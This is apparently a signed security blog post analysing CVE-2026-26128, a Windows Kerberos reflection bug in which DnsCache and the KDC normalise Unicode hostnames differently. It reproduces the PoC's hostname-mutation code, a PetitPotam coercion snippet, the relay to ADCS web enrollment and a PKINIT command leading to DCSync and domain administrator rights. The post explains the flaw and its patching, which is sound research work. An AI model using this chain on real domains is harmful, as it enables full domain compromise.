-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## DnsCache and the KDC normalize differently.\n\nThe reflection check lives in `dnsapi!Query_MatchAndGetLocalMachine`. It runs inside the DnsCache service whenever something on the host asks to resolve a hostname. The function compares the requested name to every name the local machine answers to, its NetBIOS name, its FQDN, the alternative names registered in AD-integrated DNS. If the comparison returns equal, the resolver short-circuits to the local interface and no DNS query goes out. The comparison is:\n\n```c\nCompareStringW(LOCALE_NAME_INVARIANT,\n NORM_IGNORECASE,\n lpString1, ..., lpString2, ...);\n```\n\n`NORM_IGNORECASE` is the only normalization flag. It collapses upper and lower case. It does not collapse half-width and full-width forms. It does not collapse the enclosed-alphanumerics block (U+24B6 to U+24E9, the circled Latin letters) to its base alphabet. It does not collapse the Unicode \"one dot leader\" `․` (U+2024) to ASCII `.` (U+002E). Under this flag, `ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ` and `srv1.ad.local` are not the same string. The reflection check returns not-equal. The DnsCache lets the resolution proceed to the network.\n\nThe SPN-lookup path inside `lsass.exe`, where the Kerberos KDC service runs, computes its own sort key:\n\n```c\nLCMapStringEx(LOCALE_NAME_INVARIANT,\n LCMAP_SORTKEY\n | NORM_IGNORECASE\n | NORM_IGNORENONSPACE\n | NORM_IGNOREKANATYPE\n | NORM_IGNOREWIDTH\n | SORT_STRINGSORT,\n ...);\n```\n\nThat flag bag is `0x31403`. The two load-bearing flags are `NORM_IGNOREWIDTH` and `NORM_IGNOREKANATYPE`. `NORM_IGNOREWIDTH` collapses half-width and full-width Unicode forms, which is where the enclosed-alphanumerics block lives in the equivalence relation. Under this flag set, `ⓢ` and `s` produce the same sort key. `․` and `.` produce the same sort key. `ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ` and `srv1.ad.local` produce the same sort key. The KDC looks up the SPN, finds the entry tied to the DC's machine account, and encrypts the service ticket with that account's long-term key.\n\nThe two functions are answering the same conceptual question. They give different answers because two Windows teams picked different normalization flags for performance and locale-handling reasons that made sense in isolation.\n\n## The PoC registers a hostname one function rejects and the other accepts.\n\nThe mutation is forty lines in `lib/utils/utils.py`:\n\n```python\nUNICODE_DOT = '\\u2024'\nCIRCLED_UPPER = 0x24B6\nCIRCLED_LOWER = 0x24D0\n\ndef unicode(hostname):\n parts = hostname.split('.', 1)\n label = parts[0]\n zone = parts[1] if len(parts) > 1 else ''\n result = ''\n letter_count = 0\n for char in label:\n if char.isalpha():\n letter_count += 1\n if letter_count == 2:\n if char.isupper():\n result += chr(CIRCLED_UPPER + ord(char) - ord('A'))\n else:\n result += chr(CIRCLED_LOWER + ord(char) - ord('a'))\n continue\n result += char\n if zone:\n result += UNICODE_DOT + zone.replace('.', UNICODE_DOT)\n return result\n```\n\nExactly one letter in the host label, the second alphabetic character, becomes its circled-alphanumerics equivalent. Every period in the zone becomes `\\u2024`. `contoso-dc.contoso.com` becomes `cⓞntoso-dc.cⓞntoso․com`. One substitution is all the bypass needs. Keeping the rest of the string close to the original minimises the chance that anything between DnsCache and the KDC trips on a character the other layers do not expect.\n\nThe mutated hostname is registered in AD-integrated DNS via LDAP, pointing to the attacker's interface (`lib/dns/adidns.py`, `DNSManager.add_record`). Any authenticated domain user can do this; the default ACL on AD-integrated DNS grants `Authenticated Users` the right to create child objects under the zone. Then the coercion fires. `lib/coerce/petitpotam.py:127`:\n\n```python\nrequest = EfsRpcOpenFileRaw()\nrequest['fileName'] = '\\\\\\\\%s\\\\test\\\\Settings.ini\\x00' % listener\n```\n\nThe `listener` value is the mutated hostname. The DC's EFS service resolves it. DnsCache's reflection check compares it to \"am I this?\" using `CompareStringW`. Not equal. DnsCache forwards the query to AD-integrated DNS, which returns the attacker's IP. The DC opens an SMB connection to the attacker.\n\nBefore that SMB session can carry a single byte of payload, the DC's SSPI Kerberos client asks the local KDC for a service ticket for `cifs/cⓞntoso-dc.cⓞntoso․com`. The KDC computes the sort key with `LCMapStringEx(0x31403)`. The sort key matches the entry for `cifs/contoso-dc.contoso.com`, which is registered to the DC's own machine account. The KDC issues a service ticket encrypted with that account's long-term key.\n\nThe DC sends the AP-REQ to the attacker. The attacker now holds an AP-REQ for the DC, encrypted with the DC's own key, whose embedded SPN normalises to the DC's identity under any verification path that uses `LCMapStringEx`'s flag set.\n\nThe relay client (`lib/clients/httprelayclient.py:79`) takes that AP-REQ verbatim, base64-encodes it, and sends it as `Authorization: Negotiate ` to the DC's ADCS web enrollment endpoint at `/certsrv/certfnsh.asp`. ADCS verifies the AP-REQ. The verification uses the same `LCMapStringEx` normalization to confirm the SPN is one of its own. It succeeds. ADCS issues a certificate from the `DomainController` template, signed for the DC's machine account. The PoC prints the next command:\n\n```bash\npython3 gettgtpkinit.py contoso.com/CONTOSO-DC$ \\\n -cert-pfx /path/to/CONTOSO-DC.pfx \\\n -dc-ip 192.168.1.10 out.ccache\n```\n\nPKINIT issues a TGT for the DC machine account. DCSync from there. Domain administrator.\n\n## The CVE was titled SMB. The relay targets in the README are not.\n\nThe CVE record reads, in full: *\"Improper authentication in Windows SMB Server allows an authorized attacker to elevate privileges locally.\"* CVSS 7.8, local attack vector. The description does not name Kerberos. It does not name DnsCache. It does not name LSASS or the KDC. It does not name Unicode or normalization. It does not name reflection or loopback. It locates the bug in SMB Server.\n\nThe PoC's own README contradicts the location:\n\n> *Supported relay targets are ADCS web enrollment and MSSQL. SCCM AdminService support is planned. Note that SMB relay is no longer possible on systems patched with the March 2026 Patch Tuesday update.*\n\nThe March 2026 patch added a check inside the SMB Server that breaks the original relay path Synacktiv's demo used. ADCS web enrollment runs in IIS. MSSQL Server is a separate service. SCCM AdminService is a third. None of them imports the patched SMB check. All of them consume AP-REQs the DC's Kerberos client produces against any hostname DnsCache decides is remote. The primitive, `CompareStringW` and `LCMapStringEx` returning different answers for the same hostname, is unchanged.\n\nThe CVE record names the patched surface. The patched surface is one of several. The patched surface is the one whose advisory copy was easiest to write.\n\n## The class is gate-before-canonicalize. The substrate is design debt.\n\nThe pattern at the call-graph level is [gate-before-canonicalize](/patterns/gate-before-canonicalize). The gate is `Query_MatchAndGetLocalMachine`'s reflection check. The canonicaliser is the KDC's SPN-lookup sort key. The gate sees `ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ` and decides \"this is a remote machine.\" The canonicaliser sees the same string and treats it as the local SPN. Both functions live in the same process tree, called on the same hostname, against the same accidentally-self-directed coercion. The bytes flow through the gate first and the canonicaliser second. The attacker chose a representation the gate would let through and the canonicaliser would normalise back. The pattern's prior exhibits are all HTTP path or URL scheme bugs ([Alfresco](/posts/alfresco-share-blacklist-misses-the-semicolon), [Spring/Jetty](/posts/spring-uridecode-ghost-bits-jetty-finishes), [s3-proxy](/posts/s3-proxy-cve-2026-42882-two-parses-one-bouncer), [WinRAR](/posts/winrar-cve-2025-6218-sanitizer-produced-the-traversal), [Gotenberg](/posts/gotenberg-cve-2026-40280-named-fix-adds-the-bug)). This one is a Kerberos service-principal-name bug. Same disease, different organ.\n\nThe substrate is [design-debt-driver](/patterns/design-debt-driver). Synacktiv's previous work on this class was CVE-2025-33073, NTLM reflection over SMB, patched in mid-2025. The 2025 bug had the same shape: a Windows authentication flow believed it was talking to a remote machine when it was talking to itself, because the loopback check at one layer accepted a string the action layer treated as the local identity. The 2025 patch added an \"is this me?\" check inside the SMB client. The added check used the SMB client's own notion of equality, which is not the KDC's. CVE-2026-26128 is the same shape with `LCMapStringEx`'s equality where NTLM's used to be. The Synacktiv talk title for this body of work is *\"NTLM reflection is dead, long live NTLM reflection.\"* The talk title is precise. The class is alive because no Windows component has authority over the canonical form of a Windows identity. There are at least four different \"is this hostname us?\" comparisons in the inbox authentication path. Each was written by the team that needed it. Each picked the normalization flags that solved its own problem. No two of them agree on the edges.\n\nMicrosoft's next patch will close the DnsCache disagreement. It will not close the next normalization function the next researcher reads.\n\n## The administrator who applied the patch did not get the fix they were told to expect.\n\nAn Active Directory administrator running Windows Server 2025 on a domain controller, configured by the book, applied KB5078938 on March 10 because the advisory titled *Windows SMB Server Elevation of Privilege* announced a CVSS 7.8 vulnerability that allowed local elevation of privilege. The administrator's mental model of what the patch fixed is the model the advisory text supports. The model the advisory text supports is wrong by a factor of however many other relay targets the DC's machine account can authenticate to.\n\nThe PoC, published seven weeks after the patch and six days after the public research, walks the entire chain end to end against an unpatched ADCS web enrollment endpoint on the same DC the patch was applied to. The administrator did not read the PoC. The administrator did not read the Synacktiv writeup. The administrator read the CVE description. The CVE description is what Microsoft chose to put in front of them.\n\nThe DC authenticated to itself anyway. The patch closes one of the components' answers to a question the auth subsystem treats as having one answer. The other components were not asked.\n\nPoC: [jarnovandenbrink/CVE-2026-26128](https://github.com/jarnovandenbrink/CVE-2026-26128)","closing_line":"The patch closes one of the answers. Identity in Windows is whatever the comparing component thinks identity is, and no two components have agreed in thirty years.","hook_md":"Microsoft titled CVE-2026-26128 \"Windows SMB Server Elevation of Privilege.\" The patch shipped on March 10, 2026, and closed the SMB relay path. Synacktiv published the research seven weeks later. The research did not name SMB. It named two Windows functions. The DnsCache service calls `CompareStringW` with the flag `NORM_IGNORECASE` to decide whether a hostname refers to the local machine. The Key Distribution Center, running on the same host, calls `LCMapStringEx` with flags `0x31403` to decide whether two SPNs refer to the same account. The two flag sets disagree about whether `ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ` is the same string as `srv1.ad.local`. DnsCache returns not-equal. The KDC returns equal. The Domain Controller authenticates to itself anyway.","post_id":336,"slug":"cve-2026-26128-smb-was-not-the-bug","title":"CVE-2026-26128: Microsoft Titled It SMB. The Primitive Is DnsCache and the KDC Disagreeing About a Hostname.","type":"initial","unreadable_sentence":"DnsCache returns not-equal. The KDC returns equal. The Domain Controller authenticates to itself anyway."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCavpkDQAKCRDeZjl4jgkQ JvHwAQCYP8GDOdS48m/6Z9d0oDelRwvbYlJPnVauI2hySFyKmwD7Bx43Yd6qsDpH sv0kakr4eLuEwInN6vhwIB1TMkAxeA0= =bAwt -----END PGP SIGNATURE-----